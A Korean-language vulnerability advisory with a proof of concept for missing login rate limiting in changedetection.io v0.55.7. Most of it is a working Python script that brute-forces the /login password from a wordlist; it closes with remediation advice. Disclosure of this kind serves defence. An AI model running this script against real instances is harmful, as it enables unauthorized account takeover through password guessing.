
PoC: changedetection.io 무제한 로그인 무차별 대입 공격, 속도 제한 없음 (CVE-2026-71205, Medium 6.5)
제품: dgtlmoon/changedetection.io — v0.55.7
파일: changedetectionio/flask_app.py
CWE: CWE-307 — 과도한 인증 시도에 대한 부적절한 제한
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N — 6.5 (중간)
CNA: Turan Security · CVE 기록
changedetection.io의 /login 라우트는 제출된 비밀번호를 단일 PBKDF2-HMAC-SHA256 해시와 대조하며, IP별 또는 세션별 속도 제한, 실패 횟수 카운터 또는 잠금(lockout)이 없습니다. requirements.txt에는 속도 제한 라이브러리가 포함되어 있지 않습니다.
공격자는 스로틀링 없이 단일 관리자 로그인에 대해 무제한의 비밀번호 추측을 시도할 수 있으며, 이는 네트워크 왕복 비용 외에는 추가 비용 없이 인스턴스의 유일한 계정을 대상으로 한 온라인 무차별 대입 또는 자격 증명 스터핑 공격을 가능하게 합니다.
import requests
import itertools
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
wordlist = sys.argv[2] if len(sys.argv) > 2 else "passwords.txt"
session = requests.Session()
with open(wordlist) as f:
for line_no, password in enumerate(f, 1):
password = password.strip()
resp = session.post(
f"{target}/login",
data={"password": password},
allow_redirects=False,
timeout=10,
)
# No lockout, no rate-limit headers, no CAPTCHA at any attempt count.
status = "SUCCESS" if resp.status_code in (302, 303) else "fail"
print(f"[{line_no}] {password!r}: {status} (HTTP {resp.status_code})")
if status == "SUCCESS":
print(f"[+] Valid password found: {password}")
break
임의의 비밀번호 워드리스트로 인스턴스에 대해 실행하십시오 — 실행 중 어떤 시도 횟수에서도 잠금, CAPTCHA 또는 지연 증가가 발생하지 않습니다.
로그인 핸들러는 시도 추적 상태(IP별, 세션별 또는 전역) 없이 직접 해시 비교를 수행하며, 속도 제한 미들웨어/라이브러리가 설치되어 있지 않습니다.
/login에 속도 제한 라이브러리(예: Flask-Limiter)를 추가하고, 실패 횟수 카운터와 소스 IP/세션별 지수 백오프 또는 임시 잠금을 구현하십시오.